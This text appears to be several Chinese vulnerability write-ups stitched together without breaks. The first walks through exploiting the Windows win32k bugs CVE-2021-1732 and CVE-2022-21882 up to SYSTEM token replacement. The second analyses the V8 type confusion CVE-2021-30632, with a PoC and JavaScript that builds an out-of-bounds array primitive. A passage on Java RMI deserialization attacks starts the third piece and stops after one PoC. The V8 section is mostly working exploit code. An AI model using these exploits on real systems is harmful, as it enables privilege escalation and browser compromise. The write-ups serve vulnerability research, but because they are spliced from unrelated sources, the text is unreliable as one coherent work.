当dwExtraFlag & 0x800等于0时，也就是dwExtraFlag没有控制台窗口标志，此时窗口的扩展内存位于用户桌面堆，pExtraBytes内保存位于用户空间的扩展内存的地址。当dwExtraFlag & 0x800不为0时，表示当前的dwExtraFlag具有控制台窗口标志，此时窗口的扩展内存位于内核桌面堆，pExtraBytes内保存扩展内存与内核桌面堆基址的偏移。

win32kfull!xxxSetWindowLong

那dwExtraFlag由谁来控制？

正常情况下，调用CreateWindowExW创建一个Windows窗口，在内核中会调用xxxCreateWindowEx，接着会判断tagWNDk.cbWndExtra是否为0，不为0时，就会调用win32kfull!xxxClientAllocWindowClassExtraBytes ，win32kfull!xxxClientAllocWindowClassExtraBytes函数内会通过nt!KeUserModeCallback调用用户模式回调函数user32!_xxxClientAllocWindowClassExtraBytes，在回调函数内，会申请一块cbWndExtra大小的堆空间，并将申请的堆空间地址作为NtCallbackReturn的第一个参数，接着调用NtCallbackReturn，进行堆栈修正并返回内核层，将用户空间堆地址赋tagWNDk.pExtraBytes。在上述流程中，并没有操作tagWNDk.dwExtraFlag，所以此时dwExtraFlag的默认值不具有控制台窗口标志，那么pExtraBytes内也就保存的是地址，而不是偏移。

win32kfull!xxxClientAllocWindowClassExtraBytes

user32!_xxxClientAllocWindowClassExtraBytes

但如果在用户态调用未公开的user32!ConsoleControl函数，就可以实现在内核桌面堆中申请空间作为扩展内存，并且设置tagWNDk.dwExtraFlag具有控制台窗口标志。

用户态调用未公开的user32!ConsoleControl函数时，实际会调用内核中的win32kfull!NtUserConsoleControl函数。如果此时参数1，也就是功能号为6，且第三个参数，也就是参数信息的长度不大于0x18时，就会调用win32kfull!xxxConsoleControl。在xxxConsoleControl函数中先判断了dwExtraFlag的值，然后通过DesktopAlloc从内核桌面堆中申请空间，接着判断当前pExtraBytes的值，如果不为0，则表示当前窗口已经有一个扩展内存，就调用xxxClientFreeWindowClassExtraBytes将其释放，然后将申请的内核桌面堆空间与内核桌面堆基址的偏移赋给pExtraBytes，最后修改dwExtraFlag，使其具有控制台窗口标志。

win32kfull!xxxConsoleControl

对上面的内容进行一个总结：

1. 创建的窗口可以具有扩展内存，Windows提供了SetWindowLong等API可以对扩展内存进行操作。
2. 使用SetWindowLong等API操作扩展内存时，在内核中具体索引这块内存是由pExtraBytes来决定的，而dwExtraFlag又决定了pExtraBytes内保存偏移还是地址。
3. 当dwExtraFlag & 0x800 == 0时，窗口扩展内存位于用户空间桌面堆，pExtraBytes中保存用户空间扩展内存堆地址。使用扩展内存时，通过 pExtraBytes+nIndex 索引内存。
4. 当dwExtraFlag & 0x800 != 0时，窗口扩展内存位于内核桌面堆，pExtraBytes中保存扩展内存与内核桌面堆基址的偏移。使用扩展内存时，通过 内核桌面堆基址+pExtraBytes+nIndex 索引内存。
5. 而dwExtraFlag又可以通过在用户层调用user32!ConsoleControl来进行控制。

此时漏洞已经清晰明了，内核中的xxxCreateWindowEx对于xxxClientAllocWindowClassExtraBytes的返回值没有进行任何判断就赋给tagWNDk.pExtraBytes，而用户层的ConsoleControl函数又可以直接控制tagWNDk.dwExtraFlag，导致调用SetWindowLong函数时，发生类型混淆，从而可以直接操作内核内存。

如何利用？

内核漏洞一般都被用于权限提升，而权限提升最常用的方法就是TOKEN替换，但是TOKEN结构位于内核层，这意味着我们需要具备内核地址读写的能力，而dwExtraFlag的值可以决定是否让SetWindowLong操作内核内存，所以对于CVE-2021-1732，漏洞利用的思路如下。

正常创建具有扩展内存的窗口都会通过nt!KeUserModeCallback回调机制来调用用户态的 user32!_xxxClientAllocWindowClassExtraBytes 函数，我们对user32!_xxxClientAllocWindowClassExtraBytes进行HOOK，在HOOK函数中调用user32!ConsoleControl，实现对dwExtraFlag的修改（其实这里也会修改pExtraBytes），接着调用ntdll!NtCallbackReturn，向回调函数返回一个指定的内核地址（此地址会覆盖被user32!ConsoleControl修改过的pExtraBytes），回调结束后，我们已经实现了对dwExtraFlag和pExtraBytes的修改，此时再利用SetWindowLong就可以直接操作内核内存了，实际上此时已经实现了相对地址写原语，接着我们利用这个相对地址写原语继续构造出读原语，最终实现EXP进程的TOKEN替换。

这里借用两张iamelli0t图，有助于理解。

正常流程

漏洞利用流程

补丁分析

win32kfull.sys 10.0.19041.1387

通过上述分析，我们已经知道，1732本质上是一个逻辑漏洞，创建窗口时，在win32kfull!xxxClientAllocWindowClassExtraBytes函数中通过nt!KeUserModeCallback回调机制来调用用户态的 user32!_xxxClientAllocWindowClassExtraBytes 函数，在回调返回后，没有对返回的扩展内存地址和dwExtraFlag进行校验，就直接用于内存寻址，从而导致了内核内存越界访问，到最后实现权限提升。

那么微软的补丁就是在回调返回后，还没有给pExtraBytes赋值之前，检查tagWNDk.pExtraBytes值，如果pExtraBytes不为0，说明在回调函数中有异常行为，可能存在漏洞利用，从而对窗口等资源进行释放。

补丁绕过

绕过的思路比较简单，1732的利用流程是win32kfull!xxxCreateWindowEx -> win32kfull!xxxClientAllocWindowClassExtraBytes -> HOOK_xxxClientAllocWindowClassExtraBytes，而补丁代码在win32kfull!xxxCreateWindowEx函数中，所以我们只需找到一个能够调用win32kfull!xxxClientAllocWindowClassExtraBytes，但不是win32kfull!xxxCreateWindowEx函数，即可绕过补丁。

在IDA中利用交叉引用可以看到哪些函数中会调用win32kfull!xxxClientAllocWindowClassExtraBytes。

如上图所示，xxxMenuWindowProc、xxxSwitchWndProc等函数都会调用win32kfull!xxxClientAllocWindowClassExtraBytes。

EXP代码中，使用NtUserMessageCall来实现利用。

NtUserMessageCall调用时的栈回溯结果如下。

可以看到通过NtUserMessageCall函数，最终会执行到win32kfull!xxxSwitchWndProc，而xxxSwitchWndProc正好会调用win32kfull!xxxClientAllocWindowClassExtraBytes，从而进入我们的HOOK函数，到这里其实就实现了补丁绕过，接下来的利用流程和1732基本一致。

动态调试

这里按照EXP的执行流程进行调试分析。

下面这块代码主要进行一些准备工作，获取相应函数的地址等。

创建两个窗口类，后面的CreateWindowExW会利用这个窗口类来创建窗口。

循环创建10个窗口，将窗口句柄保存在arrhwndNormal数组中，通过 user32!HMValidateHandle获取每个窗口对应的tagWNDk结构在用户空间映射的地址并保存在qwfirstEntryDesktop数组中。

判断创建的10窗口中，窗口1和窗口2对应的tagWNDk1和tagWNDk2对象，哪个位于高地址，哪个位于低地址。高地址对应的tagWNDk对象与内核桌面堆基址的偏移为kernel_desktop_heap_base_offset_Max，那相对应的低地址对应的tagWNDk对象与内核桌面堆基址的偏移为kernel_desktop_heap_base_offset_Min，最后销毁剩余的8个窗口。

Windbg调试结果：

接下来的代码先将窗口1的扩展内存寻址模式通过NtUserConsoleControl改为offset模式，接着创建了窗口3，并HOOK了user32!xxxClientAllocWindowClassExtraBytes和user32!xxxClientFreeWindowClassExtraBytes，最后调用NtUserMessageCall，因为NtUserMessageCall最终会执行到win32kfull!xxxSwitchWndProc，从而通过win32kfull!xxxClientAllocWindowClassExtraBytes调用我们的HOOK函数，实现对窗口3扩展内存的修改。

调试结果如下：

调用NtUserConsoleControl，修改窗口1的dwExtraFlag和pExtraBytes。

接着创建第三个窗口

开始HOOK user32!xxxClientAllocWindowClassExtraBytes和user32!xxxClientFreeWindowClassExtraBytes。

在g_newxxxClientFreeWindowClassExtraBytes函数中，调用NtUserConsoleControl修改dwExtraFlag，调用NtCallbackReturn，将窗口1的tagWNDk对象地址与内核桌面堆基址的偏移作为参数，回调返回后，将此偏移赋给窗口3的tagWNDk.pExtraBytes。

HOOK完成后，就要调用NtUserMessageCall对窗口3的cbWndExtra和pExtraBytes的修改，从上面EXP的源码可以看到，NtUserMessageCall的参数2和参数6分别Message和dwStyle，其中Message的值为0x1，dwStyle的值为0xE0。关于这两个参数的用途，可以从下图得知。

win32k!NtUserMessageCall

NtUserMessageCall函数的参数2为 WM_CREATE，也就是1，所以Message[1]==2

所以gapfnMessageCall[2]==NtUserfnINLPCREATESTRUCT

win32kfull!NtUserfnINLPCREATESTRUCT

win32kfull基址为 ffff964b90600000

ffff964b90600000 + 0x33A020 = ffff964b9093a020

通过之前栈回溯的那张图，可以知道，我们需要的函数正好是xxxWrapSwitchWndProc，所以此函数在mpFnidPfn中索引为0x6，那么在NtUserfnINLPCREATESTRUCT中，索引的计算公式为(dwType+6) & 0x1F ，所以dwType为0xE0时，得到的索引刚好为0x6，如果dwType为0，最后的计算出的索引也为0x6。

win32kfull!xxxWrapSwitchWndProc

这里要注意的一个点是，在win32kfull!xxxSwitchWndProc函数中，tagWNDk+0xFC 处会被赋值，调试时可知这里赋的值为0x10，后续在调用SetWindowLong系列函数时会用到这个值。

win32kfull!xxxSwitchWndProc

可以看到最终在win32kfull!xxxSwitchWndProc中调用了xxxClientAllocWindowClassExtraBytes，之后就会通过Nt!KeUserModeCallback进入我们在用户层的HOOK函数。

调用NtUserMessageCall之前 tagWNDk3中的关键值

调用NtUserMessageCall后，执行了用户层被HOOK的回调函数，实现对dwExtraFlag和pExtraBytes的修改。

此时，窗口1、2、3的tagWNDk结构体如下

到这里，基本实现了我们想要的内存布局，如下图所示

接下来就要利用SetWindowLong系列函数和已构造好的内存布局来创建读写原语。

在win32kfull!xxxSetWindowLong中，先判断参数2，也就是索引值，当索引值+0x4小于tagWNDk.cbWndExtra时，才会继续向后执行，操作扩展内存。

win32kfull!xxxSetWindowLong

其次会判断tagWNDk.dwExtraFlag & 0x800的值，如果为0，寻址方式为 内核桌面堆基址+pExtraBytes+nIndex，否则为 pExtraBytes+nIndex。同时从下图可以看到，参数nIndex，在被用于索引扩展内存前，先执行了nIndex-(tagWNDk+0xFC) 的运算，而窗口3的tagWNDk+0xFC在xxxSwitchWndProc函数内被赋值为0x10，所以在调用SetWindowLong时，如果传入的参数1为窗口3的句柄，则参数2，nIndex需要先加0x10，才能保证在后续索引扩展内存时精确找到相关结构体。

tagWNDk+0xFC处的值

调用SetWindowLong时，Windbg调试结果：

第一次调用SetWindowLongW，由于此时tagWNDk3.pExtraBytes为tagWNDk1的内核桌面堆基址偏移，所以执行完成后，实际将tagWNDk1.pExtraBytes修改为tagWNDk1的内核桌面堆基址偏移，同时返回tagWNDk1.pExtraBytes的原始值。

第二次调用SetWindowLongW，将tagWNDk1.cbWndExtra改为0xFFFFFFF，因为后续我们需要利用nIndex来实现越界写，从而构造相对地址写原语，所以这里将cbWndExtra改为0xFFFFFFF，来绕过对nIndex大小的判断。

第三次调用SetWindowLongPtrA，修改tagWNDk2.dwStyle的值，使其具有WS_CHILD属性

调用完成后，此时的tagWNDk2.dwStyle已经具有WS_CHILD属性。

第四次调用SetWindowLongPtrA，目的是为了替换tagWND中的spMenu为我们申请的0xA0大小的堆空间的地址，也就是fakeSpMenu。如果nIndex为-12时，在xxxSetWindowData中会先判断tagWNDk.dwStyle是否具有WS_CHILE属性，然后才会重新设置tagWNDk+0x98和tagWND+0xA8的值，所以这也是为什么第三次调用SetWindowLongPtrA时，要重新设置tagWNDk2.dwStyle的值

win32kfull!xxxSetWindowData

Windbg调试结果

原始spMenu地址

第五次调用SetWindowLongPtrA，目的是将Max窗口的dwStyle改回原来的属性，因为接下来会调用封装好的MyRead64函数来实现任意地址读，MyRead64函数中会调用GetMenuBarInfo，配合前面填充的fakespMenu，实现任意地址读。GetMenuBarInfo函数最终会调用xxxGetMenuBarInfo，xxxGetMenuBarInfo中会再次检查WS_CHILD，所以这里需要将WS_CHILD改为不具有WS_CHILD的属性。

win32kfull!xxxGetMenuBarInfo

Windbg结果

上面执行过5次SetWindowLong系列函数后，此时已经将窗口2的spMenu替换为fakeSpMenu，并且也获得了原始的spMenu地址。

接下来利用封装好的读原语和泄露的spMenu地址进行内核内存读取，取得SYSTEM进程和EXP进程的TOKEN地址。

MyRead64读原语，在此函数中，实际是利用GetMenuBarInfo函数，和构造好的spMenu实现内核任意地址读。

GetMenuBarInfo最后会调用到内核中的xxxGetMenuBarInfo，并且会进行多次校验，判断spMenu中相关偏移的值，然后从*(QWORD *)(rgItems)处取得要读取的内核地址，最后从此地址加0x40处开始，取0x10个字节。

win32kfull!xxxGetMenuBarInfo

构造的能通过xxxGetMenuBarInfo校验的fakeSpMenu

*(SpmenuK) == pSelf

pSelf

(pSelf+0x28) == cItems

*(rgItems)

MyRead64中，这行负责填充想要读取的内核地址

调用6次MyRead64后的结果

经过6次Read，取的EXP进程的EPROCESS地址。

此时开始遍历EPROCESS链表，找到SYSTEM进程的EPROCESS结构地址，接着分别获得EXP进程和SYSTEM进程的TOKEN地址

Windbg结果如下

获取到TOKEN地址后，最后再调用两次SetWindowLongPtrA，第一次是将EXP进程的TOKEN地址写入窗口2的tagWNDk2.pExtraBytes内，第二次是将SYSTEM进程的TOKEN写入EXP进程的TOKEN地址内。

第一次调用SetWindowLongPtrA

windbg调试结果

第二次调用SetWindowLongPtrA，实现TOKEN替换。

windbg调试结果

接着就是以SYSTEM权限创建进程

可以看到，获得了SYSTEM权限

接下来，就开始修复被我们更改过的内核结构体，避免在释放的时候出错，导致蓝屏。

修复结构体的流程和更改结构体时基本一致，这里就不再详述，最后修复完成的结果如下图所示。

补充说明

win32kfull.sys 10.0.19041.1466

通过上面的分析，可以得出如下利用流程

CVE-2021-1732：

win32kfull!xxxCreateWindowEx ->  win32kfull!xxxClientAllocWindowClassExtraBytes -> nt!KeUserModeCallback -> 用户层HOOK函数

CVE-2022-21882：

win32kfull!xxxSwitchWndProc ->  win32kfull!xxxClientAllocWindowClassExtraBytes -> nt!KeUserModeCallback -> 用户层HOOK函数

CVE-2021-1732的补丁打在了xxxCreateWindowEx函数中，但仍然可以通过xxxSwitchWndProc进行利用，导致补丁被绕过。

那对于CVE-2022-21882该如何修复？

如果补丁打在xxxSwitchWndProc，那其实和1732的补丁没什么区别，还是存在绕过风险，例如xxxMenuWindowProc、xxxTooltipWndProc都存在调用xxxClientAllocWindowClassExtraBytes的路径，所以这次微软直接在xxxClientAllocWindowClassExtraBytes上做了修复。当回调返回后，立刻检查tagWNDk.dwExtraFlag，如果dwExtraFlag & 0x800不为0 ，那说明当前的用户层回调可能被HOOK，存在漏洞利用，所以xxxClientAllocWindowClassExtraBytes直接返回错误。

win32kfull!xxxClientAllocWindowClassExtraBytes

参考资料

[1] CVE-2022-21882 Win32k 特权提升漏洞

[2] CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析

[3] Microsoft Windows被在野利用的提权漏洞（CVE-2021-1732）的分析报告

[4] CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds

[5] CVE-2022-21882 分析

简介

CVE-2021-30632是V8引擎的类型混淆漏洞。攻击者可通过构造JIT code，向一个PropertyCellType为kConstantType且拥有unstable map的全局变量写入新值，造成类型混淆。

Bug class: Type confusion
ffected Versions: pre 93.0.4577.82
First Patched Version: 93.0.4577.82
Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1247763

前置知识

• stable / unstable map and map transition
• PropertyCellType
• compilation dependencies
• (JIT)lowering

PropertyCellType

全局变量可以理解为全局对象(global object)的属性(Property)，v8维护了一些metadata用于优化。

property_cell_type represents various states of the PropertyCell

PropertyCell保存了属性相关信息，包括属性的名字、值、property details 和 cell_type
其中cell_type(即PropertyCellType)记录了该属性被赋值的情况。从代码注释可看出kConstantType意为该属性目前只被同一种类型的值赋值。

// A PropertyCell's property details contains a cell type that is meaningful if
// the cell is still valid (does not hold the hole).
enum class PropertyCellType {
  kMutable,       // Cell will no longer be tracked as constant.
  kUndefined,     // The PREMONOMORPHIC of property cells.
  kConstant,      // Cell has been assigned only once.
  kConstantType,  // Cell has been assigned only one type.
  // Value for dictionaries not holding cells, must be 0:
  kNoCell = kMutable,
};

通常情况下对一个属性赋值时会调用PropertyCell::UpdatedType来更新PropertyCellType，这种赋值方式可以称为*通用路径(generic path)*。

PATCH

我认为，漏洞出现原因是 kConstantType 字面语义与其实际作用不完全一致，开发者在JIT优化阶段认为它可以为对象类型做担保。

一个对象多次赋值，且每次赋值map不变，PropertyCell type为kConstantType ，但kConstantType并不能为map做担保。通过添加属性我们可以轻易地改变一个对象的map，并且PropertyCell type仍然维持kConstanType。

而漏洞版本中JIT代码认为PropertyCell type为 kConstantType 的对象，且持有一个 unstable map 时写入一个新的值（map与假设一致）是安全的。

patch内容 js-native-context-specialization.cc - diff

@@ -804,6 +804,12 @@
       return NoChange();
     } else if (property_cell_type == PropertyCellType::kUndefined) {
       return NoChange();
+    } else if (property_cell_type == PropertyCellType::kConstantType) {
+      // We rely on stability further below.
+      if (property_cell_value.IsHeapObject() &&
+          !property_cell_value.AsHeapObject().map().is_stable()) {
+        return NoChange();
+      }
     }
   } else if (access_mode == AccessMode::kHas) {
     DCHECK_EQ(receiver, lookup_start_object);
@@ -922,17 +928,7 @@
         if (property_cell_value.IsHeapObject()) {
           MapRef property_cell_value_map =
               property_cell_value.AsHeapObject().map();
-          if (property_cell_value_map.is_stable()) {
-            dependencies()->DependOnStableMap(property_cell_value_map);
-          } else {
-            // The value's map is already unstable. If this store were to go
-            // through the C++ runtime, it would transition the PropertyCell to
-            // kMutable. We don't want to change the cell type from generated
-            // code (to simplify concurrent heap access), however, so we keep
-            // it as kConstantType and do the store anyways (if the new value's
-            // map matches). This is safe because it merely prolongs the limbo
-            // state that we are in already.
-          }
+          dependencies()->DependOnStableMap(property_cell_value_map);
 
           // Check that the {value} is a HeapObject.
           value = effect = graph()->NewNode(simplified()->CheckHeapObject(),

改动的部分为 JSNativeContextSpecialization::ReduceGlobalAccess 函数

在第一处增加了检查，当property_cell_type为KConstantType，若值为堆对象且持有的map不为stable map则直接返回。
JSNativeContextSpecialization::ReduceGlobalAccess 提前返回直接导致的后果是JSStoreGlobal在Inlining阶段中没有被lowering。

从第二处的改动可以看出，在kConstantType的情况下，会设置DependOnGlobalProperty，且patch后无论对象的map是否为stable都会设置DependOnStableMap。以下是关键代码。

switch (property_details.cell_type()) {
  ...
  case PropertyCellType::kConstantType: {
    // Record a code dependency on the cell, and just deoptimize if the new
    // value's type doesn't match the type of the previous value in the
    // cell.
    dependencies()->DependOnGlobalProperty(property_cell);    // <------------ DependOnGlobalProperty
    Type property_cell_value_type;
    MachineRepresentation representation = MachineRepresentation::kTagged;
    if (property_cell_value.IsHeapObject()) {
      MapRef property_cell_value_map =
          property_cell_value.AsHeapObject().map();
      dependencies()->DependOnStableMap(property_cell_value_map);    // <------------ DependOnStableMap
 
      // Check that the {value} is a HeapObject.
      value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                        value, effect, control);
      // Check {value} map against the {property_cell_value} map.
      effect = graph()->NewNode(
          simplified()->CheckMaps(
              CheckMapsFlag::kNone,
              ZoneHandleSet<Map>(property_cell_value_map.object())),
          value, effect, control);
       ...
     break;
  }

触发漏洞

至此，针对 (cell_type) kConstantType 我们已经了解：

1. reassignment 才会更新 cell_type。
2. 不进行reassignment，仅仅添加一个新属性，我们可以很轻易地改变对象的map。

所以即使cell_type维持ConstantType，也无法保证对象的map不变。

ConstantType的字面意思看起来是“不变的类型”，但实际上它并不能保证对象的map不发生变化。

漏洞位于JSNativeContextSpecialization::ReduceGlobalAccess函数，这个函数在turbofan优化中的inlining阶段被调用。

POC

var a;
function foo() {
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

IR NODES

执行POC，通过 --trace-turbo 可以看到 经过inlining阶段 JSStoreGlobal 被lowerring

inlining阶段前：JSStoreGlobal被lowerring：

此时 a 的map不稳定且 cell_type 值为 ConstantType：

0x359108293465: [PropertyCell] in OldSpace
 - map: 0x359108002671 <Map[20]>
 - name: 0x35910808ee01: [String] in ReadOnlySpace: #a
 - value: 0x359108109b9d <Uint32Array map = 0x3591082c3181>
 - details: (data, dict_index: 81, attrs: [WE_])
 - cell_type: ConstantType

关键代码

Reduction JSNativeContextSpecialization::ReduceGlobalAccess(
    Node* node, Node* lookup_start_object, Node* receiver, Node* value,
    NameRef const& name, AccessMode access_mode, Node* key,
    PropertyCellRef const& property_cell, Node* effect) {
 
  ...
 
  // We have additional constraints for stores.
  if (access_mode == AccessMode::kStore) {
    DCHECK_EQ(receiver, lookup_start_object);
    if (property_details.IsReadOnly()) {
      // Don't even bother trying to lower stores to read-only data properties.
      // TODO(neis): We could generate code that checks if the new value equals
      // the old one and then does nothing or deopts, respectively.
      return NoChange();
    } else if (property_cell_type == PropertyCellType::kUndefined) {
      return NoChange();
    }
  } else if (access_mode == AccessMode::kHas) {
    ...
  }
 
  if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {
    ...
  } else {
    ...
    switch (property_details.cell_type()) {
      case PropertyCellType::kConstant: {
        ...
      }
      case PropertyCellType::kConstantType: {
        // Record a code dependency on the cell, and just deoptimize if the new
        // value's type doesn't match the type of the previous value in the
        // cell.
        dependencies()->DependOnGlobalProperty(property_cell);     <------------------ [1]
        Type property_cell_value_type;
        MachineRepresentation representation = MachineRepresentation::kTagged;
        ...
          MapRef property_cell_value_map =
              property_cell_value.AsHeapObject().map();
          if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map);     <-------------------- [2]
          } else {
            // The value's map is already unstable. If this store were to go
            // through the C++ runtime, it would transition the PropertyCell to
            // kMutable. We don't want to change the cell type from generated
            // code (to simplify concurrent heap access), however, so we keep
            // it as kConstantType and do the store anyways (if the new value's
            // map matches). This is safe because it merely prolongs the limbo
            // state that we are in already.
          }
 
          // Check that the {value} is a HeapObject.
          value = effect = graph()->NewNode(simplified()->CheckHeapObject(),  
                                            value, effect, control);          <---------------------- [3]
          // Check {value} map against the {property_cell_value} map.
          effect = graph()->NewNode(
              simplified()->CheckMaps(
                  CheckMapsFlag::kNone,
                  ZoneHandleSet<Map>(property_cell_value_map.object())),
              value, effect, control);
          property_cell_value_type = Type::OtherInternal();
          representation = MachineRepresentation::kTaggedPointer;
        ...
        effect = graph()->NewNode(simplified()->StoreField(ForPropertyCellValue(
                                      representation, property_cell_value_type,
                                      MaybeHandle<Map>(), name)),
                                  jsgraph()->Constant(property_cell), value,
                                  effect, control);
        break;
      }
      ...
    }
  }
 
  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

基于假设的优化

对于全局变量的写入操作（access_mode == AccessMode::kStore），该函数会根据PropertyCellType（switch...case...）进行基于假设的优化。

当cell_type为ConstantType时，该函数首先在[1]处设置一个dependency（DependOnGlobalProperty），假设cell type没有发生改变。接下来会判断对象的map是否为stable。对于stable map，会在[2]处再设置一个dependency（DependOnStableMap），假设map保持stable状。对于unstable map则不做更多的假设。然后还会在[3]处插入一个检查节点 CheckMaps，在JIT CODE执行时检查value（新值）的map是否与PropertyCell中value的map相同（eager deoptimization）。

简单概括一下，PropertyCell的类型为ConstantType且对象拥有 unstable map时，Turbofan假设PropertyCellType不发生改变且新值的map与PropertyCell中记录的旧值map相同，对这个JSGlobalStore进行Lowering。

（如果不满足 additional constraints for stores 会提前返回，不考虑优化这个写入操作）。

改变对象的map

如果通过常规的赋值方式改变对象的map，由于操作[1]设置了DependOnGlobalProperty，由于外部代码使PropertyCellType发生改变会触发lazy deoptimization。如果传入一个不同map的对象通过optimized code进行赋值操作，无法通过JIT代码运行时的检查 [3]，发生eager deoptimization。

看起来我们好像没有办法在不引起解优化的前提下改变这个全局对象的map。

但我们可以构造一个JIT优化代码，对一个持有unstable map的对象重新赋值（写入PropertyCell）且PropertyCellType 仍为 kConstantType，只要新值的map能符合要求。

var x = {a : 1};  //<---- x has MapA
var o = {a : 2};  //<---- o has MapA
function foo(y) {
  x = y;
}
... //MapA becomes unstable, foo gets optimized
foo(o);   //value of x change to o, map remains the same

此处只要o的map类型与x一致，就能通过JIT代码运行时的检查（ [3]处，JIT假设与旧值map一致）。

var x = {a : 1};  //<---- x has MapA
var o = {a : 2};  //<---- o has MapA
var z = {a : 3};  //<---- z has MapA
function foo(y) {
  x = y;
}
z.b = 1;  //MapA becomes unstable
...//optimize foo
x.b = 1; //value of x is now {a : 1, b: 1} and has MapB, still ConstantType, MapB stable
foo(o);   //value of x change to o, map changes back to MapA, still ConstantType

在漏洞版本中，因为foo函数优化时MapA是unstable map，JIT没有对map做任何假设（若为stable map,[2]处会增设DependOnStableMap），所以不会触发lazy deoptimization，即在不引起解优化的同时使x的map变成MapB。

通过JIT优化函数foo，我们可以将x的map从MapB更改回MapA，而无需通过*通用路径(generic path)*重新赋值x（不经过PropertyCell::UpdatedType）或使MapB变为unstable。

许多优化的代码依赖于这样一个事实: 变量的map不能改变，除非通过同意路径重新赋值或者使其map变为unstable。
因此，通过使用优化的函数 foo 将 x 的map恢复到以前的状态(mapA) ，任何此类优化代码的假设都不再成立，可造成类型混淆。

利用

通过JIT优化函数foo，将x的map从MapB更改回MapA，无需通过*通用路径(generic path)*重新赋值x（不经过PropertyCell::UpdatedType）或使MapB变为unstable。

// commit 62ed75a1d26932754ffcaef2db7c4ce2b0b5737e  
 
var a1 = {a:1};
var a2 = {a:2};
var a3 = {a:3};
var x = {a:0}; // has mapA, Constant
 
function foo(y,flag) {
  for (let i = 0; i < 0x200; ++i) {
      ++i;
  }
  if(flag) x=y;
}
 
foo(a1,true); // x: mapA, ConstantType
  
a2.b=1; // a2 has MapB, MapA becomes unstable
 
for(let i=0;i<0x3000;++i) foo(a1,false); //Optimization
 
x.b=1; // x->mapB, ConstantType
foo(a3,true); // value of x change to o, map changes back to MapA, still ConstantType

混淆smi数组与double数组，进一步构造oob原语。因为SMI向DOUBLE的转换比较频繁，SMI数组在创建时就已经设置了transition信息，且持有unstable map（HOLEY_ELEMENTS除外），把它保存到一个全局变量中会经过PropertyCell::UpdatedType，把PropertyCellType更新为kMutable。
所以我们需要通过一些方法创建一个持有stable map的SMI数组。

例如

class Box extends Array {
    constructor(...args) {
        super(...args);
    }
};
// or
function arr_(...args){
    let a = new Array(...args);
    a.a=1;
 return a;
}

具体实现

function arr_(...args){
    let a = new Array(...args);
    a.a=1;
 return a;
}
var x = new arr_(1,2,3);
function foo(y) {
    for (let i = 0; i < 0x200; ++i) {
        ++i;
    }
    x=y;
}
function leak_elems_and_len(){
  for (let i = 0; i < 0x200; ++i) {
        ++i;
    }
  return x[30];
}
function overwrite_elems_and_len(value){
  for (let i = 0; i < 0x200; ++i) {
        ++i;
    }
  x[30]=value;
}
var a1 = new arr_(1,2,3,4);
foo(a1);
//%DebugPrint(foo);
//%SystemBreak();
var a2 = new arr_(1,2,3,4);
a2.b=1;
var a3 = new arr_(1,2,3);
for(let i=0;i<0x3000;++i) foo(a3);
//%SystemBreak();
x[0]=1.1;
print('transition to double');
var a4 = new arr_(1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2);
x=a4;
for(let i=0;i<0x3000;++i) {
leak_elems_and_len();
overwrite_elems_and_len(0.75);
}
//%SystemBreak();
var a5 = new arr_(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32);
var oob_arr = new arr_(1.1,2.2);
foo(a5);
%SystemBreak();
%DebugPrint(a5);
%DebugPrint(oob_arr);
var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u32 = new Uint32Array(ab);
f64[0]=leak_elems_and_len();
u32[1]=0x42424242;
var init=f64[0];
overwrite_elems_and_len(init);
//%DebugPrint(oob_arr);
print(oob_arr.length);
%SystemBreak();

接下来的步骤就是利用OOB数组更进一步构造伪造对象原语、任意读写原语，不赘述。本文是个人理解学习的总结，如有错漏请斧正。

参考

https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/

https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html

https://twitter.com/0day_sniper/status/1437754743712063491

RMI简介

Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。

• 注册中心

  作为存储远程方法的代理对象的仓库。

• 服务端

  暴露远程对象，并将其代理对象注册进 RMI Registry。一个代理对象在服务端中包含一个skeleton对象，用于接受来自stub对象的调用。

• 客户端

  查找远程代理对象，远程调用服务对象。一个代理对象在调用该远程对象的客户端上包含一个stub对象，负责调用参数和返回值的序列化、打包解包，以及网络层的通讯过程。

攻击方式

RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的，以下是几种常见的攻击方式。

1、攻击注册中心

当服务端向注册中心注册时，注册中心会反序列化服务端绑定的对象，具体体现在sun.rmi.registry.RegistryImpl_Skel#dispatch。当服务端注册绑定的是一个恶意的对象时，就可造成反序列化漏洞。当然，由于绑定的对象需要是Remote对象，所以恶意对象需要实现使用代理类或改写注册方法才能注册绑定。

在远程方法实例化的过程中，调用的父类java.rmi.server.UnicastRemoteObject的构造方法，最终是调用了sun.rmi.server.Util#createProxy方法创建Remote的动态代理类对象并返回。

POC中的动态代理类按照createProxy方法中逻辑写即可，其中InvocationHandler子类通常选择sun.reflect.annotation.AnnotationInvocationHandler，它具有Map<String, Object>类型的属性memberValues可以很方便的绑定反序列化的恶意对象。

最终POC如下：

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("obj", evilObject());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remoteObj = (Remote) Proxy.newProxyInstance(
    Remote.class.getClassLoader(),
    new Class[]{Remote.class},
    invocationHandler
);
